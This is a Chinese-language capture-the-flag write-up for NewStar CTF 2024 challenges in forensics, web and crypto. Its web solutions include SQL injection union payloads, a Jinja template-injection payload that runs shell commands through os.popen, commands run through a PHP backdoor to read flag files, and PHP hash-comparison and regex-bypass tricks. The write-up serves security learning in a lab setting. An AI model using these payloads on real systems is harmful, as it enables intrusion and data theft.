MISC
兑换码
题目提示flag在图片下面,我们用010打开图片修改高度
我们将04修改为05,就能在图片下面找到flag了
Web
headach3
我们打开页面,发现页面连接已重置
我们用curl命令打开网站
1 | curl -i http://eci-2zegoa69kgaljcwwcz37.cloudeci1.ichunqiu.com:80 |
得到flag
会赢吗
页面需要我们找到录取通知书,我们打开源码进行查看,发现第一个flag和下一个网页
1 | flag第一部分:ZmxhZ3tXQTB3 |
第二个提示我们跟js有关,我们查看控制台
提示课程名称叫4cqu1siti0n
我们查看js代码
我们要往revealFlag中传入课程名,我们已知课程名,直接传
得到第二部分flag和下一个地方
1 | flag第一部分:ZmxhZ3tXQTB3 |
这一关要我们进行解封,我们查看js代码
它需要state id标签的值为解封,我们直接修改为解封,得到第三部分
1 | flag第一部分:ZmxhZ3tXQTB3 |
点击会赢的,弹出提示要他的领域失效,我们直接禁用js
再次点击,得到最后的flag
1 | flag第一部分:ZmxhZ3tXQTB3 |
我们连起来进行base64解码
得到flag
智械危机
题目提示有个后门,我们打开robots.txt,发现有个文件,我们访问
1 | <?php |
进行代码审计
execute_cmd用来执行命令
我们重点来看decrypt_request
首先将key进行base64解码,然后将cmd逆向进入reversed_cmd
然后将reversed_cmd进行md5加密,再判断hashed_reversed_cmd是否和decoded_key的md5相等,最后再讲cmd进行base64解码,返回这个值
所以我们的思路是先构造好cmd命令,再将其进行base64加密,就是我们要传的cmd参数
key的话,要先将cmd的base64加密的值进行逆向再md5加密
写个加密小脚本
1 | <?php |
我们进行传参
1 | cmd=bHM= //ls |
成功,然后就是找flag文件位置
1 | ls ../../../ |
最后就是输出flag
1 | cat ../../../flag |
具体操作跟上面一样
谢谢皮蛋
sql注入的题,源码给了提示,访问/hint.php,有sql注入语句
我们进行sql注入
1 | -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |
1 | -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g'# |
1 | -1 union select 1,group_concat(id,des,value) from Fl4g# |
PangBai 过家家(1)
我们打开页面,提示头部存在一些东西
我们进行抓包,发现有个新的文件,我们访问
然后我们得到下一关的cookie
我们替换cookie进行访问,进入第二关
第二关提示需要我们ask=miao,我们进行传参
1 | ?ask=miao |
得到第三关的cookie
第三关提示要我们用post传参
我们传完后,得到第四关的cookie
第四关提示我们修改代理人为Papa
我们将User-Agent的Safari修改为Papa
1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Papa/537.36 |
然后提示我们说玛卡巴卡阿卡哇卡米卡玛卡呣
我们修改say为这个值,得到下一关的cookie
下一关要求我们用修改(PATCH)的方法提交一个补丁包name=”file”; filename=”*.zip”
我们用postman做
我们将content-type改为from-data
然后上传文件,再添加say为玛卡巴卡阿卡哇卡米卡玛卡呣
就进入了下一关,页面提示localhost,我们修改xff为127.0.0.1
得到了jwt的密钥,我们修改关卡为第0关(因为没找到第七关)
再在网页修改cookie
进入第0关
我们点击从梦中醒来,过完剧情就得到了flag(歌挺好听的,真不容易啊)
复读机
我们发现这是一个ssti模版注入的题
但经过我们测试,过滤了class
一旦提交包含class的字符串
bot就会报错
那我们就不使用包含class的ssti注入语句
1 | {%print lipsum.__globals__['__builtins__']['__import__']('os')['popen']('whoami').read()%} |
成功读取到用户名
1 | {%print lipsum.__globals__['__builtins__']['__import__']('os')['popen']('cat ..').read()%} |
你能在一秒内打出八句英文吗
这个题让我们在一秒内打出八句英文,显然我们人力是不可能做到的,所以我们使用python 的requests来提交
由于英文在/start下,我们用BeautifulSoup获取id=text标签名
然后我们进行抓包发现,表格提交到/sumbit下,那我们就能写脚本了
1 | import requests |
得到flag
谢谢皮蛋 plus
经过测试,过滤了空格和and,我们使用联合注入
具体的自己写
1 | -1"/**/union/**/select/**/group_concat(id,des,value),1/**/from/**/Fl4g# |
遗失的拉链
我们扫描目录,发现有个www.zip文件
1 | <?php |
进行代码审计,主要要绕过这个语句
1 | if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']) |
我们使用数组绕过
1 | ?new[]=1 |
绕过后我们进行命令执行,由于eval前面有个echo
我们需要eval里的是文本,那我们就使用print_r加上`来执行命令
1 | cmd=print_r(`tac /f*`) |
得到flag
PangBai 过家家(2)
第一关让我们清点泄漏的文件,那不就是.git文件吗
我们利用GitHack工具把文件夹下载下来
我们使用git命令查看当前项目信息,使用
git log –stat
查看提交历史
使用 git reset HEAD~1
可以回到上一个 Commit,或者直接使用 VSCode 打开泄露出来的 Git 存储库,能够更可视化地查看提交历史。但没什么用
我们查看Stash
1 | git stash list |
我们可以看到 Stash 中含有后门(实际上在 GitHacker 泄漏时就有 stash 的输出信息)
Stash 的作用
有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用
git stash
命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用git stash pop
则可以将之前存储的内容重新恢复到工作区。又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。
一些常见的 Stash 命令如:
git stash
保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行
git status
命令,就会发现当前是一个干净的工作区,没有任何改动。使用git stash save '一些信息'
可以添加一些注释。
git stash pop [-index] [stash_id]
从 Stash 中释放内容,默认为恢复最新的内容到工作区。
使用 git stash pop
恢复后门文件到工作区。
发现了后门文件BacKd0or.v2d23AOPpDfEW5Ca.php
我们进行访问,来到第二关
由于git stash pop将后门释放出去了,我们可以直接查看源码
1 | <?php |
1 | if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) { |
我们主要来看这个正则匹配,对于这个表达式,可以使用换行符绕过。preg_match
默认为单行模式(此时 .
会匹配换行符),但在 PHP 中的该模式下,$
除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。
拓展
如果加 D
修饰符,就不匹配换行符:
1 | preg_match('/^Welcome$/D', "Welcome\n") |
但当我们传入NewStar_CTF.2024=Welcome%0a又不能通过了呢,因为这是由 NewStar_CTF.2024
中的特殊字符 .
引起的,PHP 默认会将其解析为 NewStar_CTF_2024
. 在 PHP 7 中,可以使用 [
字符的非正确替换漏洞。当传入的参数名中出现 [
且之后没有 ]
时,PHP 会将 [
替换为 _
,但此之后就不会继续替换后面的特殊字符了,因此,GET 传参 NewStar[CTF.2024=Welcome%0a
即可,随后传入 call_user_func
的参数即可
1 | ?NewStar[CTF.2024=Welcome%0a |
week3 Include Me
Crypto
Base
我们把编码放CyberChef里解一下就出了
xor
1 | from pwn import xor |
得到flag
一眼秒了
简单的rsa
1 | from Crypto.Util.number import long_to_bytes |
这是几次方? 疑惑!
这个题我们直接用yafu分解n秒了
1 | from Crypto.Util.number import long_to_bytes |
Since you konw something
1 | from pwn import xor |
这个题它提示key很短,那我们可以进行爆破
1 | from pwn import xor |
Just one and more than two
1 | from Crypto.Util.number import * |